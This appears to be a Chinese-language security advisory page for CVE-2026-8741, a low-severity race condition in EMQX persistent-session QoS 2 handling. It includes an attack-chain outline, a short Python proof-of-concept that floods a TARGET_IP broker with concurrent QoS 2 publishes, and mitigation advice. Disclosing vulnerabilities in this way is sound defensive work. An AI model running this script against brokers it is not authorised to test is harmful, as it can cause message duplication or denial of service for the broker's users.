IPBUF安全漏洞报告
English
CVE-2026-8741 CVSS 3.1 低危

CVE-2026-8741 EMQX持久化会话竞态条件漏洞

披露日期: 2026-05-17

漏洞信息

漏洞编号
CVE-2026-8741
漏洞类型
竞态条件
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
EMQX

相关标签

竞态条件EMQXMQTTIoT安全CVE-2026-8741

漏洞概述

EMQX 6.2.0及以下版本在处理持久化会话的QoS 2 PUBLISH数据包时存在竞态条件漏洞。该漏洞位于`emqx_persistent_session_ds.erl`组件中,低权限远程攻击者可利用此漏洞导致系统可用性受影响。

技术细节

该漏洞源于EMQX在处理QoS 2消息流程(PUBLISH、PUBREC、PUBREL、PUBCOMP)时的逻辑缺陷。在受影响版本的`emqx_persistent_session_ds.erl`文件中,持久化会话处理QoS 2数据包时缺乏对并发操作的充分同步。攻击者可以通过发送特制的QoS 2 PUBLISH数据包序列,在处理状态机更新时触发竞态条件。尽管攻击复杂度较高且需要低权限,但成功利用可能导致消息重复、状态不一致或服务拒绝。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描并识别出目标EMQX服务器版本,确认其为6.2.0或以下版本。
STEP 2
步骤2:建立连接
攻击者使用低权限账号连接到MQTT Broker,并开启持久化会话(Clean Session=False)。
STEP 3
步骤3:触发竞态
攻击者利用脚本快速发送多个QoS 2级别的PUBLISH数据包,干扰服务端的状态机处理逻辑。
STEP 4
步骤4:达成影响
目标服务端因竞态条件导致处理逻辑混乱,出现消息重复或可用性下降。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paho.mqtt.client as mqtt import time import threading # Configuration broker_address = "TARGET_IP" port = 1883 topic = "test/race" client_id = "poc_client" def on_connect(client, userdata, flags, rc): print(f"Connected with result code {rc}") def send_qos2_message(client): # Send QoS 2 PUBLISH packet rapidly msg_info = client.publish(topic, payload="Race Condition Payload", qos=2) msg_info.wait_for_publish() print(f"Message published: {msg_info.mid}") client = mqtt.Client(client_id=client_id, clean_session=False) # Persistent session client.on_connect = on_connect try: client.connect(broker_address, port, 60) client.loop_start() time.sleep(1) # Wait for connection # Create threads to simulate concurrent requests triggering race condition threads = [] for i in range(10): t = threading.Thread(target=send_qos2_message, args=(client,)) threads.append(t) t.start() for t in threads: t.join() except KeyboardInterrupt: pass finally: client.loop_stop() client.disconnect()

影响范围

EMQX <= 6.2.0

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,可临时限制对MQTT端口的网络访问,并监控是否存在异常的QoS 2消息流量。评估业务是否必须依赖持久化会话功能,若非必要可暂时禁用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表